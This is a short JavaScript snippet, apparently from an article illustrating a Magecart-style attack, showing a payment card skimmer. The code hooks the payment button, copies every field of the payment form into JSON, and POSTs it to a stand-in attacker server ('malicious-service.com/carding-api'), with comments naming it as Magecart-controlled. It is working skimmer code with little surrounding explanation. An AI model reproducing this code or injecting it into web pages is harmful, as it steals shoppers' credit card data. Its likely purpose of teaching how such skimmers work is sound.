Edit in JSFiddle

window.onload = function() {
        // Triggering the function when users submit payment details
        jQuery(".btn-success").bind ("mouseup touchend", function(t) {
            var e={};
            // Copying the data inside of the payment form
            jQuery("#payment-form").serializeArray().map(function(t){
                e[t.name] = t.value});
            // Creating a JSON with the credit card data    
            var n=JSON.stringify(e);
            setTimeout(function() {
                    jQuery.ajax({
                        // POST request to Magecart controlled server
                        type:"POST",
                        async:!0,
                        // Malicious Server controlled by Magecart
                        url:"https://malicious-service.com/carding-api/",
                        data:n,
                        dataType:"application/json"})},
                500)})};